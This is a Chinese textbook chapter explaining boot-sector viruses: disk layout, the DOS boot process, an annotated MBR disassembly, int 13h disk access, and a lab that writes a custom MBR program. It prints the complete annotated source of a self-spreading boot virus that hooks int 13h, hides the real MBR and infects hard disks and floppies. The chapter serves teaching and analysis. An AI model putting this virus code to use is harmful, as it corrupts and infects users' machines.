| 2.1 预备知识
第2章 引导型病毒分析 引导扇区是磁盘的一个特殊扇区,存放了系统启动所需要的代码与数据。引导型病毒是指驻留在硬盘的主引导分区或硬软盘的 DOS 引导分区的病毒。由于计算机开机后,会先执行主引导分区的代码,因此病毒可以先于操作系统获得控制权。 本章通过介绍系统的启动过程、磁盘结构、主要中断的使用来解释引导型病毒的原理以及如何清除这种类型的病毒。本章的例题最好在安装有DOS或Windows 9x的系统下运行。 2.1 预 备 知 识 引导型病毒的大量出现大约是在1987年,具有代表性的是“小球”和“石头”病毒。由于当时的计算机硬件较少,功能简单,一般需要通过软盘启动后使用。引导型病毒利用软盘的启动原理工作,它们修改系统启动扇区,在计算机启动时首先取得控制权,减少系统内存,修改磁盘读写中断,影响系统工作效率,在系统存取磁盘时进行传播。1989年,引导型病毒发展到可以感染硬盘,典型的代表有“石头2”。进入Windows时代后,计算机系统已普遍具有抵御此类病毒的能力,所以这种病毒已经失去了发展空间,现在很少见了。 在介绍引导型病毒之前,先要介绍几种必须掌握的知识。 2.1.1 磁盘数据结构
2.1.1 磁盘数据结构 一块新磁盘,需要将它分区、格式化,然后再安装上操作系统才可以使用。格式化是指系统为了达到随机存取磁盘数据的目的,需要在盘的磁道上规划出磁道和扇区,每个扇区以引导标记和扇区标记作为扇区的起始,然后才是扇区的内容,后面还有校验标记。格式化后,磁盘被分为面、磁道、扇区和簇。一个面对应一个磁头,每个面由若干个磁道组成,每个磁道又被分成若干个扇区。物理相邻的若干个扇区组成一个簇。操作系统读写磁盘的基本单位是扇区,而文件分配的基本单位是簇。如图2-1所示的是磁盘结构。 安装操作系统后,磁盘被分为保留扇区部分和逻辑分区。对软盘而言,保留扇区部分只有引导扇区;对硬盘而言,除了引导扇区,该磁道的其他扇区是未被利用的。在逻辑分区,以FAT32磁盘格式为例,有该分区的引导扇区,文件分配表FAT和文件数据区。 磁盘的第一个逻辑扇区被称之为主引导扇区(Master Boot Record,MBR),逻辑分区的第一个逻辑扇区被称为引导扇区。引导扇区代码和数据可以使用程序fdisk.exe进行创建。
图2-1 磁盘数据结构 引导扇区内有引导程序,还有磁盘结构数据。以1.44M软盘为例,软盘由两面组成,分别称为0面和1面。磁道是从外到里的同心圆,每面由80个磁道组成。而每个磁道由18个扇区组成,扇区是物理结构的最小单元。每个扇区占512个字节。如图2-2所示是用debug命令-L4000:0 0 0 1读取的1.44M软盘引导扇区数据。该命令表示将第一个驱动器(A:)的第一个逻辑扇区读到内存4000:0的位置,各个参数的使用请参考汇编语言教材的Debug命令的使用。
图2-2 软盘引导扇区 主引导扇区除了引导代码,还有各逻辑扇区的结构数据块,即分区表。分区表数据从引导扇区偏移0x1be开始,共64个字节。分区表最多只能描述4个分区,每个分区16字节。引导代码的作用就是分析分区表中的4个分区引导标志,当某一分区的引导标志为80H时,主引导程序就把这一分区的第一个扇区(逻辑0扇区)读到内存0000:7C00H处,并从该处开始执行。如图2-3所示为一个硬盘MBR中的分区表。例如,分区表中D:的数据结构如下:
图2-3 MBR的分区表 偏移0自举标志0(0x80为活动分区) 偏移1起始磁头号1 偏移2起始扇区号0x41 偏移3起始磁道号0x4b 偏移4为分区格式:FAT32 偏移5终止磁头号0xef 偏移6终止扇区号0xff 偏移7终止磁道号0xa4 偏移8--11本分区前已用扇区0x3F 偏移12--15本分区总扇区数0x1772361 最后两个字节\x55\xAA是引导扇区的标志。在硬盘的第一个磁道,除了MBR扇区,其他扇区是没有被使用的。C:的引导扇区一般在第二个磁道的第一个扇区。如图2-4所示描述了图2-3的分区结构。
图2-4 扇区分布 每个逻辑分区的FAT表用来描述磁盘中各簇的使用情况。对1.44M的软盘,每项FAT为16位(二进制),对多数硬盘,一般为32位(二进制),即FAT32。以FAT32为例,每项值的含义如表2-1所示。 表2-1 FAT32表项意义
序 号 | 表 项 值 | 簇描述信息含义 | 1 | 0x00000000 | 未使用的簇 | 2 | 0x00000002~0xffffffff | 一个已分配的簇号 | 3 | 0xfffffff0~0xfffffff6 | 保留的簇 | 4 | 0xfffffff7 | 坏簇 | 5 | 0xfffffff8~0xffffffff | 文件结束簇 |
我们可以想象一下,病毒既然把原来的引导程序位置占了,引导扇区只能放512字节,而原来的引导程序又是必需的。那么原来的引导扇区放在哪里并且又不被覆盖呢? 一个可能的位置是MBR扇区所在磁道上的其他未使用的扇区。另一个可能的位置是分区引导扇区所在磁道的其他扇区。还有一个可能位置是磁盘的数据区,病毒只要将所占用的簇对应的FAT表项标记为坏扇区或已经使用的扇区,操作系统存放文件时就不会覆盖它。 2.1.2 系统引导过程与引导扇区分析
2.1.2 系统引导过程与引导扇区分析 1. DOS启动过程 系统在加电后,先由固化在BIOS(Basic Input Output System)中的程序接管进行下列操作。 (1) 系统硬件的自检测试。执行VGA-BIOS等各种卡的BIOS程序。 (2) 将CPU中断向量、BIOS中断向量、BIOS数据块载入基本内存区(前640KB)。 (3) 扫描开机磁盘驱动器,将启动扇区记录(软盘的)或主引导记录(硬盘的)载入地址为0000:7C00H的基本内存区。 (4) 如果是从硬盘启动则转到刚才载入的MBR(0000:7C00H)执行。在MBR控制下扫描硬盘分区表,找到硬盘启动分区位置,载入启动扇区(功能同软盘的BR)到(0000:7C00H)。如果是从软盘启动则跳过这一步。 (5) 将系统控制权交付载入的启动记录程序(即CS:IP指向0000:7C00H)。 (6) 执行启动记录程序,进行操作系统启动文件的加载(一般是IO.SYS和MSDOS.SYS两个核心文件),之后将系统控制权交付操作系统。 DOS启动过程如图2-5所示。
图2-5 DOS的启动 2. MBR代码反汇编 下面的代码是在一台装有Windows 95的计算机上,在Debug下编程时用int 13h读出来的引导程序。
;设置栈SS:SP = 0:7C00 0000:7C00 xor ax, ax 0000:7C02 mov ss, ax 0000:7C04 mov sp, 7C00h 0000:7C07 sti ; DS = ES = 0 0000:7C08 push ax 0000:7C09 pop es 0000:7C0A push ax 0000:7C0B pop ds ;将后面的代码复制到低端内存,为加载 ;活动分区的引导扇区腾出空间,因为引导 ;扇区也必须加载到0:7C00 0000:7C0C cld 0000:7C0D mov si, 7C1Bh 0000:7C10 mov di, 61Bh 0000:7C13 push ax 0000:7C14 push di 0000:7C15 mov cx, 1E5h 0000:7C18 repe movsb ;跳到低端内存的代码继续执行 0000:7C1A retf ;开始扫描分区表(Partition Table),寻找活动分区 0000:061B mov bp, 7BEh ; 600h+1BEh,分区表起始偏移为1BEh 0000:061E mov cl, 4 ;分区表中有4个分区表项 loc_620: 0000:0620 cmp [bp+0], ch ;是活动分区吗?(此时ch中的值为0) 0000:0623 jl loc_62E ;活动分区的标志是80h,若解释成有符号数,则小于0 0000:0625 jnz loc_63A ;引导标志的合法值只能是0和80h,其他的值则出错 0000:0627 add bp, 10h ;指向下一个表项(每一个表项的长度为10h字节) 0000:062A loop loc_620 ;依次扫描所有分区表项 ; 没有发现活动分区,无法启动OS,按照规范调用Int 18h ; 早期BIOS的Int 18h中断服务程序就是启动ROM-Basic, ; 现在的BIOS一般是打印错误信息 0000:062C int 18h ; 找到活动分区后,还要检查剩余分区的启动标志是否为0 ;不允许存在多个活动分区 loc_62E: 0000:062E mov si, bp loc_630: 0000:0630 add si, 10h ; 下一个分区表项 0000:0633 dec cx 0000:0634 jz loc_64F ; 所有剩余分区都扫描完 0000:0636 cmp [si], ch ; 启动标志是否为0? 0000:0638 jz loc_630 ; 是则合法,检查下一分区 ; 分区启动标志不合法,打印错误信息 "Invalid partition table" loc_63A: 0000:063A mov al, byte_7B5 loc_63D: 0000:063D mov ah, 7 0000:063F mov si, ax loc_641: 0000:0641 lodsb loc_642: 0000:0642 cmp al, 0 0000:0644 jz loc_642 ; 打印完错误信息后,进入死循环 0000:0646 mov bx, 7 0000:0649 mov ah, 0Eh 0000:064B int 10h ; 调用Int 10h显示一个字符 0000:064D jmp short loc_641 ; 开始加载活动分区的引导扇区 loc_64F: ; 将一个标志的初始值清0。这个标志表示是否尝试过备份的引导扇区 ; [bp+10h]的字节肯定是没用的空间 0000:064F mov [bp+10h], cl 0000:0652 call sub_69B 0000:0655 jnb loc_681 loc_657: 0000:0657 inc byte ptr [bp+10h] ; 标志已经尝试过加载备份的引导扇区 ; 如果活动分区是FAT32分区,尝试加载备份的引导扇区 0000:065A cmp byte ptr [bp+4], 0Bh ; FAT32 0000:065E jz loc_66B 0000:0660 cmp byte ptr [bp+4], 0Ch ; FAT32(需用扩展Int 13h访问) 0000:0664 jz loc_66B ; 加载引导扇区失败,显示错误信息, "Error loading operating system" 0000:0666 mov al, byte_7B6 0000:0669 jnz loc_63D loc_66B: ; FAT32的备份引导扇区号=引导扇区号+6 0000:066B add byte ptr [bp+2], 6 0000:066F add word ptr [bp+8], 6 0000:0673 adc word ptr [bp+0Ah], 0 0000:0677 call sub_69B 0000:067A jnb loc_681 ; 连备份的引导扇区也坏了,就没辙了! 0000:067C mov al, byte_7B6 0000:067F jmp short loc_63D ; 在把控制权交给引导扇区前,要先检查引导扇区的签名(signature) ; 防止把控制权交给已经损坏的引导扇区 loc_681: 0000:0681 cmp word ptr ds:[7DFEh], 0AA55h ;签名就是扇区最后的2个字节 0000:0687 jz loc_694 ; 引导扇区损坏,则尝试用备份引导扇区 0000:0689 cmp byte ptr [bp+10h], 0 ;已经是备份的引导扇区? 0000:068D jz loc_657 ; 备份引导扇区也坏了,死翘翘 0000:068F mov al, byte_7B7 0000:0692 jmp short loc_63D ; 交权给引导扇区,让它去完成OS的引导 0000:0694 loc_694: 0000:0694 mov di, sp ; di = sp = 7C00h 0000:0696 push ds 0000:0697 push di 0000:0698 mov si, bp ; 把活动分区表项指针传给引导扇区 0000:069A retf ; 跳到0:7C00 ; 读取引导扇区的子过程 sub_69B proc near 0000:069B mov di, 5 ; 磁盘I/O错允许重试次数为5次 ; 取硬盘的磁道参数 0000:069E mov dl, [bp+0] ; 分区的启动标志其实就是硬盘号 0000:06A1 mov ah, 8 0000:06A3 int 13h 0000:06A5 jb loc_6CA ; 如果取参数失败,认为BIOS肯定不支持扩展 Int 13h ; 只好用传统Int 13h ; 计算用传统Int 13h能访问的最大逻辑扇区号 ; 计算公式为:(最大磁头号+1)*每道扇区数*(最大磁道号+1) ; 注意这个计算次序是有讲究的,因为(最大磁头号+1)*每道扇区数 ; 的结果可以用16位寄存器就可以存放。如果先用磁道号来计算, ; 乘的结果就必须用两个寄存器来存放,导致第二步乘计算复杂化 0000:06A7 mov al, cl 0000:06A9 and al, 3Fh 0000:06AB cbw ; ax中为第道扇区数 0000:06AC mov bl, dh 0000:06AE mov bh, ah ; bh = 0,ah肯定为0 0000:06B0 inc bx 0000:06B1 mul bx ; (最大磁头号+1)*每道扇区数 0000:06B3 mov dx, cx 0000:06B5 xchg dl, dh 0000:06B7 mov cl, 6 0000:06B9 shr dh, cl ; dx中为(最大磁道号+1) 0000:06BB inc dx 0000:06BC mul dx ; (最大磁头号+1)*每道扇区数*(最大磁道号+1) ; 判断引导扇区是否可以用传统Int 13h来访问 ; 如果引导扇区的逻辑扇区号 >= 刚才算出的扇区号,必须用扩展Int13h来读取 ; 否则就用传统Int 13h来访问 ; 注意一下双字数的比较方法! 0000:06BE cmp [bp+0Ah], dx 0000:06C1 ja loc_6E6 0000:06C3 jb loc_6CA 0000:06C5 cmp [bp+8], ax 0000:06C8 jnb loc_6E6 ; 用传统Int 13h来读引导扇区 loc_6CA: 0000:06CA mov ax, 201h 0000:06CD mov bx, 7C00h 0000:06D0 mov cx, [bp+2] 0000:06D3 mov dx, [bp+0] 0000:06D6 int 13h 0000:06D8 jnb locret_72B ; 读取失败可以重试,试完规定的次数后还失败就没办法了 0000:06DA dec di 0000:06DB jz locret_72B ; 重试前重置一下磁盘系统 0000:06DD xor ah, ah 0000:06DF mov dl, [bp+0] 0000:06E2 int 13h 0000:06E4 jmp short loc_6CA ; 检查BIOS是否支持扩展Int 13h loc_6E6: 0000:06E6 mov dl, [bp+0] 0000:06E9 pusha 0000:06EA mov bx, 55AAh 0000:06ED mov ah, 41h 0000:06EF int 13h 0000:06F1 jb loc_729 0000:06F3 cmp bx, 0AA55h 0000:06F7 jnz loc_729 0000:06F9 test cl, 1 ;必须支持Fixed disk access这个功能子集 0000:06FC jz loc_729 0000:06FE popa ; 扩展Int 13h读扇区 loc_6FF: 0000:06FF pusha ; 在栈中构造磁盘地址包(Disk Address Packet) 0000:0700 push 0 0000:0702 push 0 0000:0704 push word ptr [bp+0Ah] 0000:0707 push word ptr [bp+8] ; 要读扇区的LBA地址(4个word) 0000:070A push 0 0000:070C push 7C00h ; 引导扇区读到0:7C00h 0000:070F push 1 ; 读一个扇区 0000:0711 push 10h ; 包长度16个字节 0000:0713 mov ah, 42h 0000:0715 mov si, sp 0000:0717 int 13h 0000:0719 popa ; 这里用了一个小技巧,一下子从栈中弹出8个word ; (地址包刚好是8个word) 0000:071A popa ; 这才是真正的恢复保存的通用寄存器的值 0000:071B jnb locret_72B 0000:071D dec di ; 不成功有重试的机会 ; 注意这里也有个小技巧:dec指令不改变CF的状态 0000:071E jz locret_72B ; 直到所有重试次数用完 ; 重试前重置磁盘系统 0000:0720 xor ah, ah 0000:0722 mov dl, [bp+0] 0000:0725 int 13h 0000:0727 jmp short loc_6FF loc_729: 0000:0729 popa 0000:072A stc locret_72B: 0000:072B retn sub_69B endp 0000:072C db 'Invalid partition table',0 0000:0744 db 'Error loading operating system',0 0000:0763 db 'Missing operating system',0 0000:07B5 byte_7B5 db 2Ch 0000:07B6 byte_7B6 db 44h 0000:07B7 byte_7B7 db 63h 0000:07FE dw 0AA55h ; MBR的标志 2.1.3 读写扇区方式 2.1.3 读写扇区方式 1. Int 13h 引导型病毒最常用的中断是int 13h,其次可能还有int 16h和int 10h等。Int 13h用于磁盘扇区的读写。使用方法如下。 AH = 2 / 3;等于2时进行读操作,等于3时进行写操作 AL = 要读的扇区数; CH = 柱面号(低8位); CL = 扇区号(0-5位);6-7位为柱面号; DH = 磁头号; DL = 驱动器号,软盘A,B为0,1,对第一块硬盘80H,第二块81H,……; ES:BX = 数据缓冲区的地址。 输出信息如下: CF=0,操作成功,AH=0 ,AL=读出的扇区数; CF=1,操作失败,AH=出错状态,同前。
还有一个扩展功能用来读写大硬盘。 2. 读写扇区的其他方法 用Debug的L和W命令可以读写分区的扇区。用A命令编程,可以读写所有扇区。例如,下面的代码将主引导扇区数据读到内存4000H:0000H。 在DOS下或Windows 98下,可以用Debug的L命令读引导扇区。例如,执行下面的命令: C:> Debug ↙ -L4000:0 2 0 1 ;表示将C:的逻辑0扇区共1个扇区读到内存4000h:0000 在DOS下或Windows 98下可以用int 13H的功能2读主引导扇区。例如,执行下面的代码: mov ah, 2 ;功能号 mov al, 1 ;读一个扇区 mov cx, 1 mov dx, 80h ;读第一块物理硬盘 mov bx, 4000h ;数据存放地址在ES:BX mov es, bx mob bx, 0 int 13h 在Windows 2000以后的系统,把整个物理磁盘或分区当作一个文件,使用文件操作函数可以读写扇区。对于读写逻辑分区、软盘和U盘,使用的文件名为“\\\\.\\A:”(对A:)、“\\\\.\\C:”(对C:)等。对于读写物理硬盘,使用的文件名为“\\\\.\\PhysicalDrive0”(对第一块物理硬盘),“\\\\.\\PhysicalDrive1”(对第二块物理硬盘)等。 读扇区的函数实现代码如下: BOOL CDo_DiskDlg::ReadSectors(BYTE bDrive, DWORD dwStartSector, LPBYTE lpSectBuff) { char devName[] = "\\\\.\\A :"; ULONGLONG pos=(ULONGLONG)(512 * dwStartSector); DWORD low; long high; low=((DWORD)pos); high=(long)(pos>>32); devName[4] ='A' + bDrive; HANDLE hDev = CreateFile(devName, GENERIC_READ, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); if (hDev == INVALID_HANDLE_VALUE) return 0; SetFilePointer(hDev,low , &high, FILE_BEGIN); DWORD dwCB; BOOL bRet = ReadFile(hDev, cBuf, 512*10 , &dwCB, NULL); CloseHandle(hDev); return bRet; } 病毒可以修改中断向量表,使int 13h的入口地址为病毒代码。当正常程序调用int 13h时就会先运行病毒代码。 2.1.4 程序常驻内存 2.1.4 程序常驻内存 最早设计DOS操作系统时,PC机的硬件系统只支持1M字节的寻址空间,所以DOS只能直接管理最多1M字节的连续内存空间。在这1M内存中,仅有640K被留给应用程序使用,它们被称为常规内存或基本内存。 在DOS自举完成后,内存的结构如图2-6所示。
图2-6 DOS内存结构 在内存0:413h开始处的两个字节描述了内存中未用内存的高端位置,它的值是KB的倍数。病毒程序首先将自身复制到内存的高端,修改内存容量标志单元0:413H,在原有值的基础上减去病毒长度,使得病毒的int 13h能够常驻内存,并将原int 13h磁盘中断服务程序的中断向量保存,然后将该中断向量置成新的int 13h中断程序入口,即加上一段病毒感染程序,功能是完成当系统对软盘进行读写操作时,如果该软盘尚未感染,则将该病毒写入该软盘,完成一次病毒的传播过程。
2.2.1 引导型病毒工作原理 2.2 引导型病毒 引导型病毒要利用引导扇区藏身,利用IOS中断执行破坏操作,利用BIOS数据区来使病毒代码常驻内存。下面进行详细介绍。 2.2.1 引导型病毒工作原理 引导型病毒是一种在ROM BIOS之后,系统引导时出现的病毒,它先于操作系统,依托的环境是BIOS中断服务程序。引导型病毒是利用操作系统的引导模块放在某个固定的位置,并且控制权的转交方式是以物理位置为依据,而不是以操作系统引导区的内容为依据,因而病毒占据该物理位置即可获得控制权,而将真正的引导区内容搬家转移或替换,待病毒程序执行后,将控制权交给真正的引导区内容,使得这个带病毒的系统看似正常运转,而病毒已隐藏在系统中并伺机传染、发作。 引导型病毒按其寄生对象的不同又可分为两类,即MBR(主引导区)病毒、BR(引导区)病毒。MBR病毒也称为分区病毒,将病毒寄生在硬盘分区主引导程序所占据的硬盘0头0柱面第1个扇区中。典型的MBR病毒有大麻(Stoned)、2708、INT60病毒等。BR病毒是将病毒寄生在硬盘逻辑0扇或软盘逻辑0扇(即0面0道第1个扇区)。典型的BR病毒有Brain、小球病毒等。 引导型病毒是在安装操作系统之前进入内存的,寄生对象又相对固定,因此,该类型病毒基本上不得不采用减少操作系统所掌管的内存容量方法来驻留内存高端。而正常的系统引导过程一般是不减少系统内存的。 引导型病毒需要把病毒传染给软盘,一般是通过修改int 13h的中断向量,而新int 13h中断向量段址必定指向内存高端的病毒程序。 引导型病毒感染硬盘时,必定驻留硬盘的主引导扇区或引导扇区,并且只驻留一次,因此引导型病毒一般都是在软盘启动过程中把病毒传染给硬盘。而正常的引导过程一般不对硬盘主引导区或引导区进行写盘操作。 引导型病毒的寄生对象相对固定,把当前的系统主引导扇区和引导扇区与干净的主引导扇区和引导扇区进行比较,如果内容不一致,则可认定系统引导区异常。 将引导型病的注入系统前后的开机程序作横向比较,就能清楚的获知何谓引导型病毒。 软盘中毒前的正常开机程序为:开机→执行BIOS→自我测试POST→填入中断向量表→启动扇区(Boot sector)→IO.SYS→MSDOS.SYS→COMMAND.COM。 软盘中毒之后的开机程序为:开机→执行BIOS→自我测试POST→填入中断向量表→开机型病毒→启动扇区(Boot Sector)→IO.SYS→MSDOS.SYS→COMMAND.COM。 硬盘中毒前的正常开机程序为:开机→执行BIOS→自我测试POST→填入中断向量表→硬盘分区表(Partition Table)→启动扇区(Boot Sector)→IO.SYS→MSDOS.SYS→COMMAND.COM。 硬盘中毒之后的开机程序为:开机→执行BIOS→自我测试POST→填入中断向量表→硬盘分割表(Partition Table)→开机型病毒→启动扇区(Boot Sector)→IO.SYS→MSDOS.SYS→COMMAND.COM。 2.2.2 一个引导型病毒分析 2.2.2 一个引导型病毒分析 以下是一个病毒的源代码,该病毒具备了引导型病毒的一般特征,但已经过修改,去掉了破坏硬盘分区表的部分,比较适合做分析和实验。 1. 实现的功能与流程简介 功能:开机驻留内存,替换原始int 13h,将其指向自己,监视系统运行,伺机传染软盘。
图2-7 感染后的执行过程 此病毒将替换软盘的DBR或硬盘的MBR,开机时被BIOS程序载入内存地址0000:7C00h并开始执行。 2. 源代码及注释
;nova.asm NOVA SEGMENT ;定义段 ASSUME CS:NOVA,DS:NOVA,ES:NOVA ;声明段与寄存器的结合 .286 ;处理机模式 org 0000h ;制定下一指令的偏移地址为0000h start: jmp short vir_init ;下面两个字节用于保存中断向量,跳过 oint13_ip dw ? oint13_cs dw ? reg_cx dw 4f0fh ;正常的MBR的地址(表示79道15扇) vir_init: ;病毒从这里开始执行 mov si, 7c00h ;当前病毒所在的偏移地址 cli ;为确保堆栈操作正常,中断禁能 xor bx, bx ;BX清零 mov ds,bx ;0000为当前之段地址置入数据段寄存器ds中 ;下面将堆栈放置在程序段的头部 mov ss, bx ;0000为当前之段地址置入ss中 mov sp, si ;7c00为当前程序段偏移地址置入sp中 sti ;中断置能 push bx ;0000:7c00h置入堆栈 push si ;为以后使用RETF跳转到此执行做准备 cld ;清方向标志 mov ax, [bx+13h*04h] ;取int 13h的偏移地址 mov ds:[si+OFFSET oint13_ip], ax ;放入本程序段前的预留空间中 mov ax, [bx+13h*04h+02h] ;取int 13h的段地址 mov ds:[si+OFFSET oint13_cs], ax ;放入预留空间中 dec word ptr ds:[0413h] ;BIOS资料区的可用内存数减1k int 12h ;取内存数,到AX shl ax, 06h ;左移6位 mov es, ax ;放入ES,求得病毒藏身驻留地区起始段地址 ;(640-1)*26 =40896 push ax ;段地址入栈 push OFFSET high_code ;偏移地址入栈 ;开始将病毒的程序码搬移到1k高地址区 mov cx, 0100h ;置搬移数量 xor di,di ;置搬移目的地址的偏移地址(段地址ES先前已放置) repz movsw ;开始搬移256个字,也就是512个字节(一个扇区) retf ;转到藏身区继续执行 high_code: ;以下的代码将在1k的驻留地区继续执行 xor ax, ax ;ax置零 mov es, ax ;ex置零 int 13h ;软驱复位 push cs ;cs入栈 pop ds ;cs内容放入ds xor si, si ;si置零 ;下面开始寻找正常的启动记录 mov ax, 0201h ;调用磁盘服务,读取一个扇区 mov bx, 7c00h ;读取到0000:7c00h mov cx, ds:[si+OFFSET reg_cx];将保存正常启动记录的地址取出 ;病毒会将正常的引导记录存在:硬盘,0面0道2扇;软盘,1面79道15扇 cmp cx, 0002h ;比较看是不是0道2扇区 jnz boot_fd ;如果不是则一定是从软盘启动,此时需要传染硬盘 ;如果是则一定从硬盘启动 mov dx, 0080h ;读硬盘0HEAD int 13h ;开始读取 call near ptr install ;调用子程序,安装病毒的int 13h retf ;转到0000:7c00h开始执行正常的引导记录程序 boot_fd: ;从软盘引导 mov dx, 0100h ;读A驱动器1面 int 13h jb boot_dos ;如果读取失败转到boot_dos ;下面准备传染硬盘 push cs pop es ;cs值放入es mov ax, 0201h mov bx, 0200h mov cx, 0001h mov dx, 0080h int 13h ;读硬盘0面0道1扇区之内容到病毒驻留区段并偏移512个字节, ;避免覆盖到病毒程序本身 jb boot_dos ;不成功则转到boot_dos cmp word ptr ds:[bx], 06ebh ;把读到的内容的第一个字取出与06ebh相比,06beh是 ;病毒程序第一条指令的机器码,如果比较结果相等,说明硬盘先前已传染,就不再次传染。 jnz inf_hd ;不相等,说明硬盘没有被传染,跳转到传染程序 call near ptr install ;调用子程序,安装病毒的int 13h retf ;转到0000:7c00h开始执行正常的引导记录程序 boot_dos: ;执行失败,就跳转到此处 int 18h ;转到ROM-basic执行 inf_hd: ;传染硬盘 ;先将刚才读到的正常引导记录保存道0道2扇 inc cx ;cx此时为1,为2 mov ds:[si+OFFSET reg_cx],cx ;cx存放的是正常引导记录的位置(磁道;扇区)0道2扇 mov ax, 0301h ;写入一个扇区 mov dx, 0080h ;写入硬盘1的0面 int 13h ;开始写入 jb boot_dos ;不成功转到BOOT_DOS ;准备替换引导扇区 ;保留硬盘分区表 ;如果省略此步骤,从软驱引导则无法进入硬盘,很危险。 mov cl, 21h ;准备搬移33个字 mov di, 01beh ;从内存高端的03beh搬移到 mov si, 03beh ;内存高端的01BEh,此处正是病毒程序的驻留区 repz movsw ;开始搬移 mov ax, 0301h ;准备向硬盘写入一个扇区 xor bx, bx inc cx ;cx置1 int 13h ;写入物理硬盘0面0道1扇区 call near ptr install ;安装病毒的int 13h retf ;转到0000:7c00h执行,正式从软盘启动 install: ;病毒int 13h的安装子程序 push ax push ds xor ax, ax mov ds, ax mov ax, offset vint13h ;病毒int 13h的偏移地址 mov ds:[13h*04], ax ;替换原int 13h的ip mov ax, cs ;取得病毒的段地址 mov ds:[13h*04h+02h], ax ;替换原int 13h的cs pop ax pop ds ret vint13h: pushf cmp cx,0001h ;是否对0道1扇区进行操作 jz stealth ;是则进入特殊处理程序stealth or dl,dl ;是否操作A驱 jnz vint13h_ext ;不是则转到原始int 13h中断执行 test al,01h ;是否操作奇数个扇区(测试AL的最低位) jnz vint13h_ext ;不是则转到原始int 13h中断执行 call inf_fd ;调用传染软盘子程序 vint13h_ext: ;病毒int 13h到此结束 popf ;下面 jmp dword ptr cs:oint13_ip ;调用原始int 13h,开始正常处理 stealth: ;特殊处理部分 cmp al,01h ;是否操作一个扇区 jnz vint13h_ext ;不是则转到正常中断 cmp dx,0080h ;是否操作硬盘0面 jnz vint13h_ext ;不是则转到正常中断 inc cx ;对硬盘0面0道1扇区操作改为对2扇区的操作 jmp short vint13h_ext ;转到正常的中断服务程序 inf_fd: ;传染软盘子程序 push ax push bx push cx push dx push di push si push ds push es push cs ;置ds,es的值 pop ds push cs pop es xor di,di ;di置0 mov si,0003h ;si置3(表示读3次) read_again: mov ax,0201h mov bx,0200h mov cx,0001h xor dx,dx ;读取软盘0面0道1扇区到病毒常驻段偏移地址为0200h pushf call dword ptr ds:[di+OFFSET oint13_ip] jnb read_succ ;读取成功转READ_SUCC处理 xor ax,ax ;否则软驱复位 pushf call dword ptr ds:[di+OFFSET oint13_ip] dec si ;次数减1 jnz read_again ;不为0再次读取 jmp short inf_ext ;否则退出 read_succ: ;读取成功后,以Vir_init处一个字的机器码为特征码进行比较 ;判断软盘是否已经染毒,如果染毒,则进行传染 cmp word ptr ds:[bx+OFFSET vir_init],00beh jz inf_ext ;已染毒,退出 mov cx,4f0fh mov ds:[di+OFFSET reg_cx],cx ;存放正常的引导程序磁道号扇区号 mov ax,0301h mov dh,01h 写入软盘1面79到15扇区 pushf call dword ptr ds:[di+OFFSET oint13_ip] jb inf_ext ;下面将驻留在内存中的病毒程序写入软盘的0面0到1扇区 mov ax,0301h xor bx,bx mov cx,0001h xor dx,dx pushf call dword ptr ds:[di+OFFSET oint13_ip] inf_ext: ;退出传染子程序 pop es pop ds pop si pop di pop dx pop cx pop bx pop ax ret fillnum equ 200h-($-start) ;以0填充剩余的字节,保证占有512个字节 db fillnum dup(0) NOVA ENDS END start 如图2-8所示是病毒的int 13h中断服务子程序,也是病毒程序中较复杂的部分流程。
图2-8 病毒int 13h流程
2.3 实验1:引导程序设计 2.3 实验1:引导程序设计 既然引导型病毒已经是历史,但设计自己的引导程序在某个时候还是可能需要的。本节我们将模拟病毒替换原来的引导程序,设计自己的引导程序。 1. 编写代码 设计一个简单的主引导程序,安装后使机器在每次启动时都显示一行字符串“Hell,World!”,然后再装载系统。 引导程序必须是com格式,程序分为4部分:显示字符串、延时、将自己读到另一个位置和调用原引导程序。延时是为了让显示的字符串稍作停留。因为BIOS总是把主引导程序读到内存0:7C00H再开始执行的,现在要把原来的主引导程序读到0:7C00H来,必须先将现在的引导程序占有的位置让出。调用原来的引导程序通过调用int 13h即可实现。实现的效果如图2-9所示,代码如下。
图2-9 新的引导程序界面
;文件名 BOOT.ASM .MODEL TINY .CODE .STARTUP DB 7B00H DUP(0) ;com格式程序从100H,加7B00H让其从7C00H开始,与引导同 POS1 EQU $ ;POS1等于当前偏移地址 JMP START ;跳过数据部分 INFO1 DB "HELL,WORLD",0 COLUMN1 DB 30 ;定义列号,字符从此位置开始 TIME_OUT DW 0 ;延时用 TIME_IN DW 0 ;延时用 START: ;滚动屏幕,设置背景色且清除屏幕已有字符 MOV SI,OFFSET INFO1 ;用SI表示字符串偏移地址 MOV AX,0600H MOV DX,184FH ;滚动的行、列数 MOV CX,0 MOV BH,0 ;背景颜色为黑色 INT 10H AGAIN: ;移动光标位置(COLUMN1,10) MOV AH,2 MOV DH,10 MOV DL,COLUMN1 MOV BH,0 INT 10H ;在光标处显示字符 MOV CX,1 MOV AH,9 MOV AL,[SI] MOV BL,12 MOV BH,0 INT 10H INC SI INC COLUMN1 CMP BYTE PTR[SI],0 ;到0结束 JNZ AGAIN ;延时,若有任意键输入则结束延时 LOOP_OUT: INC TIME_OUT MOV TIME_IN,0 LOOP_IN: INC TIME_IN CMP TIME_IN,60000 JB LOOP_IN CMP TIME_OUT,20000 NOP MOV AH,1H INT 16H JNZ CLOSE_LOOP ;ZF=0,有键输入,结束延时 JB LOOP_OUT ;复制自己从0:7C00H到0:600H CLOSE_LOOP: MOV AX,CS ;设置段地址 MOV ES,AX MOV DS,AX MOV CX,0100H ;复制次数为100H次 MOV DI,600H ;设置目的开始地址 MOV SI,7C00H ;设置源开始地址 REP MOVSW ;每次复制2字节 DB 0EAH ;跳转到复制结束后的READ_OLD_SECTOR DW POS2-POS1+600H,0 READ_OLD_SECTOR: POS2 EQU $ MOV AX,0201H MOV BX,7C00H MOV CX,3 MOV DX,80H INT 13H DB 0EAH ;跳转到0:7C00H DW 7C00H,0 DB 16AH DUP('V') ;填充多余空间 DW 0AA55H ;定义引导标志 .EXIT 0 END 根据以上代码还可以学习到,JMP指令的一种特殊用法,不直接使用JMP,而是使用其机器码0EAH后加跳转地址的办法。大家可以试验一下,能否使用JMP POS2-POS1+600H代替,或者将指令修改为JMP READ_OLD_SECTOR? 将有效程序段填充为512字节长度,让引导标志0AA55H正好位于扇区的最后。这里用16AH个字符V来填充。可通过如图2-10所示的方法进行观察。 图2-10 观察填充数据
注释: 能否在显示字符串时使用DOS的中断功能?上面的程序能否在DOS下直接执行?答案是否定的。
